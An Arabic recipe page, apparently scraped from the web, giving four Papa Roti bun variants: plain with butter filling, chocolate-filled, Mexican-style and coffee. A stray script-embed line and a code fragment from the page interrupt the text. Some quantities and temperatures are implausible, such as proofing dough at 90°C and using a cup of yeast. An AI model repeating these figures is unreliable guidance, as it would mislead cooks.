طريقة عمل خبز بابا روتي

‘);
}

خبز البابا روتي

المكونات

مكونات العجين:

• كوب من الماء الدافئ.
• 75 غرامًا من الزبدة بدرجة حرارة الغرفة.
• بيضتان.
• ملعقة صغيرة من مسحوق البيكينغ باودر.
• ملعقة كبيرة من الخميرة.
• أربع ملاعق كبيرة من السكر.
• ملعقتان كبيرتان من مسحوق الحليب.
• أربعة أكواب من الطحين.

مكونات الحشو:

[wpcc-script async src=”https://cdn.wickplayer.pro/player/thewickfirm.js”]

• كمية مناسبة من مكعبات الزبدة المجمدة.

التغليفة:

• كوب إلا ربع من الطحين المنخول.
• ملعقتان كبيرتان من النسكافيه المذوّب بالقليل من الماء الساخن.
• ملعقة صغيرة من مسحوق القرفة.
• ملعقة كبيرة من الفانيلا السائلة.
• بيضة.
• كوب إلاّ ربع من السكر البني.
• 100 غرام من الزبدة على درجة حرارة الغرفة.

طريقة التحضير

• نضع مسحوق الحليب، والسكر، والطحين، والخميرة، والبيكينغ باودر، والبيض، والزبدة، والماء الدافئ في وعاء الخلاط الكهربائي، ونخلط المكونات مع بعضها جيدًا حتى نحصل على عجين.
• نضع العجين في وعاءٍ مدهون بالقليل من الزبدة، ثم ندهن سطح العجين بالزبدة كي لا تجفّ.
• نحضّر مزيج التغليفة من خلال وضع الزبدة في وعاءٍ ثم نخفقها بواسطة الخفاقة الكهربائية إلى أن يصبح لونها فاتحًا.
• نضيف البيضة، والطحين المنخول، ومسحوق القرفة، ومزيج النسكافيه، والسكر البني، والفانيلا السائلة، ونخفق المكونات جيدًا إلى أن يتكون مزيج قوامه متماسك.
• نسكب المزيج في كيس الحلواني ونُدخله إلى الثلاجة لحين الاستخدام.
• نشكّل العجين لكرات حجمها متوسط، ثم نتركها لمدة خمس عشرة دقيقة على درجة حرارة الغرفة إلى أن ترتاح.
• نأخذ كرة من العجين ونفردها باليد ثم نضع داخلها مكعبًا من الزبدة المجمدة، بعد ذلك نُغلقها ونكوّرها مجددًا.
• نُكررالخطوة السابقة مع كرات العجين ثم نضعها في صينيةٍ مدهونةٍ بالقليل من الزبدة، بعد ذلك نغطي العجين باستعمال النايلون ونتركها جانبًا لمدة ثلاثين دقيقة.
• نُخرج كيس الحلواني من الثلاجة ثم نضغط عليه فوق كرات العجين المحشوة، بحيث تتشكل خطوط شكلها حلزوني على سطح العجين.
• نُدخل الصينية إلى الفرن ونتركها لمدة تتراوح من خمس عشرة دقيقة إلى عشرين دقيقة.
• نُخرج الصينية من الفرن ونضع خبز البابا روتي في طبق التقديم ونقدمه مباشرةً.

خبز البابا روتي المحشو بالشوكولاتة

المكونات

مكونات العجين:

• كوب من الماء الدافئ.
• بيضتان.
• ملعقتان كبيرتان من مسحوق الحليب.
• أربع ملاعق كبيرة من السكر.
• ملعقة صغيرة من مسحوق البيكينغ باودر.
• ملعقة كبيرة من الخميرة.
• أربعة أكواب من الطحين.

مكونات التغليفة:

• بيضة.
• كوب من السكر.
• رشة من الفانيلا.
• ملعقة كبيرة من الماء الساخن.
• كوب إلا ربع من الطحين.
• ملعقة صغيرة من مسحوق القرفة.
• ملعقة كبيرة من القهوة سريعة الذوبان.

مكونات الحشو:

• كمية مناسبة من مكعبات الشوكولاتة (حسب الحاجة).

طريقة التحضير

• نضع كلًّا من الطحين، والخميرة، والبيض، والببكينغ باودر، والسكر، ومسحوق الحليب في وعاء الخلاط الكهربائي ونخلط المكونات مع بعضها جيدًا.
• نضيف الماء الدافئ إلى الخليط السابق ونعجن المكونات حتى نحصل على عجينٍ، بعد ذلك نغطيها ونتركها إلى أن تختمر.
• نأخذ كميةً مناسبةً من العجين حسب الرغبة، ثم نضعها في اليد ونُشكّلها إلى قرصٍ ونضع داخله مكعبًا من الشوكولاتة.
• نُكرر العملية مع كمية العجين المتبقية ثم نضع أقراص العجين المحشوة في صينية مدهونة بالقليل من الزبدة.
• نحضّر التغليفة بوضع كل: من القهوة سريعة الذوبان في وعاء ثم نضيف إليها مسحوق القرفة، والطحين، والماء الساخن، والفانيلا، والسكر، والبيضة، ونخلط جميع المكونات جيدًا إلى أن تتداخل مع بعضها ونحصل على مزيجٍ متجانس القوام.
• نوزع مزيج التغليفة على أقراص العجين المحشوة في الصينية ثم نُدخل الصينية إلى الفرن ونتركها مدةً تتراوح من عشر دقائق إلى خمس عشرة دقيقة حتى ينضج العجين تمامًا.
• نُخرج الصينية من الفرن ونضع خبز البابا روتي في طبق التقديم ونقدمه مباشرةً.

خبز البابا روتي المكسيكي

المكونات

• بيضة.
• ربع كوب من الحليب السائل.
• 60 ملليلترًا من اللبن الرائب.
• ثلاث ملاعق كبيرة من الزبدة.
• نصف ملعقة صغيرة من الملح.
• كوبان من الدقيق الأبيض.
• ثلاث ملاعق كبيرة من السكر المطحون بودرة.
• ملعقة ونصف صغيرة من الخميرة الجافة الفورية.
• كريمة شوكولاتة البيتية.

مكونات كريمة الشوكولاتة:

• نصف بيضة كبيرة.
• ربع كوب من الدقيق الأبيض.
• ملعقتان كبيرتان من الزبدة.
• ثُمن ملعقة صغيرة من الملح.
• ملعقتان كبيرتان من السكر المطحون بودرة.
• ملعقتان صغيرتان من القهوة سريعة الذوبان.
• ثُمن ملعقة صغيرة من مسحوق الكاكاو الخام.

مكونات الحشو:

• اثنتا عشرة قطعةً من الزبدة.

طريقة التحضير

• نضع الدقيق والملح والسكر والخميرة في وعاء العجانة الكهربائية، ثم نخلط المكونات مع بعضها على سرعة بطيئة، ونضيف كلًا من: البيض واللبن الرائب والحليب ونخلط المكونات على سرعة منخفضة لمدة خمس دقائق ثم نزيد السرعة لتصبح متوسطةً ونتركها لمدة خمس عشرة دقيقةً.
• نضيف الزبدة إلى العجين ونستمر بالعجن على سرعة متوسطة لمدة عشر دقائق إضافية.
• نخرج العجين من وعاء العجانة ونضعها على سطح العمل، ثم نعجنها باليدين لبعض الوقت.
• نحضر وعاءً عميقًا وندهنه بالقليل من الزيت النباتي، ثم نضع العجين داخله ونغطيها بقطعة من النايلون، ثم نضع الوعاء في مكانٍ دافئ تصل درجة حرارته تسعين درجةً مئويةً ونتركها حتى يتضاعف حجمها وتختمر جيدًا.
• نزيل النايلون عن وعاء العجين ثم نعجن العجين مجددًا لمدة خمس دقائق.
• نقطع العجين إلى اثنتي عشرة قطعة، ثم نكوّر كل كرة من الوسط ونحشوها بقطعة من الزبدة، ثم نغلقها جيدًا ونعيد تكويرها لتصبح دائرية الشكل.
• نحضر صينية فرن ونبطنها بقطعة من ورق الزبدة، ثم نضع في وسط الصينية كوبًا حراريًا مليئًا بالماء ونصف كرات العجين المحشوة حول الكوب.
• نضع الصينية في فرن محمى مسبقًا، ونتركها لمدة ثلاثين دقيقةً على درجة حرارة منخفضة جدًا تصل إلى ثمانٍ وثلاثين درجةً مئويةً فقط حتى يتبخر الماء من الكوب ويتضاعف حجم كرات العجين.
• نحضر طبقة كريمة الشوكولاتة، إذ نضع الدقيق في وعاء الخلاط الكهربائي ونضيف إليه كلًا من: نصف البيضة، والزبدة، والملح، والسكر، والقهوة ومسحوق الكاكاو، ثم نخفق المكونات مع بعضها جيدًا حتى نحصل على خليط كريمي وناعم القوام.
• نضع خليط كريمة الشوكولاتة في كيس تزيين الحلويات، ثم نضعها في الثلاجة ونتركها حتى تبرد وتتماسك.
• نغطي سطح كرات العجين بكريمة الشوكولاتة بخطوط دائرية رفيعة، ثم نعيد وضع الصينية في الفرن الحامي ونخبز البابا روتي على حرارة 180 درجةً مئويةً ولمدة تتراوح ما بين خمس عشرة دقيقةً إلى ثماني عشرة دقيقةً، ثم نخرج الصينية من الفرن ونضعها جانبًا ونترك خبز البابا روتي حتى يبرد.
• نضع خبز البابا روتي في أطباق التقديم ونقدمه عندما يصبح خليط كريمة الشوكولاتة متماسكًا.

خبز البابا روتي بالقهوة

المكونات

مكونات التغليفة:

• 100 غرام من الزبدة المذابة.
• كوب من السكر البودرة.
• ربع كوب من السكر الأسمر.
• كوب وثلثا الكوب من الدقيق.
• ثلاث بيضات مخفوقة.
• نصف ملعقة صغيرة من القرفة المطحونة.
• ملعقتان صغيرتان من القهوة المذوبة بكوب من الماء.

مكونات العجين:

• ثلاثة أكواب وثلثا الكوب من الدقيق.
• ملعقتان كبيرتان ونصف من الحليب البودرة.
• نصف كوب من السكر.
• ملعقة صغيرة من الملح.
• ملعقة صغيرة من البيكينج باودر.
• كوب من الخميرة.
• 300 ملليلتر من الماء.
• كوب من الزبدة المذابة.
• بيضة مخفوقة.

مكونات الحشو:

• 150 غرامًا من الزبدة الجامدة المقطعة لمكعبات.

طريقة التحضير

• نضع الدقيق والخميرة والسكر والملح والحليب في وعاء العجانة الكهربائية ونعجنها لمدة دقيقة، ثم نضيف البيضة والماء ونعجن المكونات على سرعة بطيئة لمدة دقيقة إضافية، ثم نزيد سرعة العجانة ونعجن المكونات على سرعة متوسطة لمدة عشر دقائق.
• نضيف الزبدة إلى العجين ونعجن مجددًا حتى نحصل على عجين طري.
• نشكل العجين لكرات متساوية الحجم، ثم نغطيها ونتركها لمدة خمس عشرة دقيقةً حتى ترتاح.
• نحدث فجوةً وسط كل كرة ونضع داخلها قطعةً من الزبدة، ثم نغلق الكرات جيدًا ونكورها لتصبح دائريةً.
• نصف كرات العجين في صينية تحمير مدهونة بالزبدة، ثم نغطي الكرات بقطعة من النايلون ونتركها لمدة خمس دقائق حتى تختمر.
• نحضر التغليفة إذ نضع الزبدة والسكر المطحون والسكر الأسمر والبيض والقرفة والدقيق والقهوة في وعاء الخلاط الكهربائي، ونخفق المكونات مع بعضها جيدًا.
• نضع الخليط في كيس التزيين ونزين به سطح كرات العجين.
• نضع الصينية في فرن حامٍ ونتركها لمدة خمس عشرة دقيقةً على حرارة 200 درجةً مئويةً حتى يصبح الخبز باللون الذهبي، ثم نحمر سطح الخبز ونخرجه من الفرن ونقدمه ساخنًا.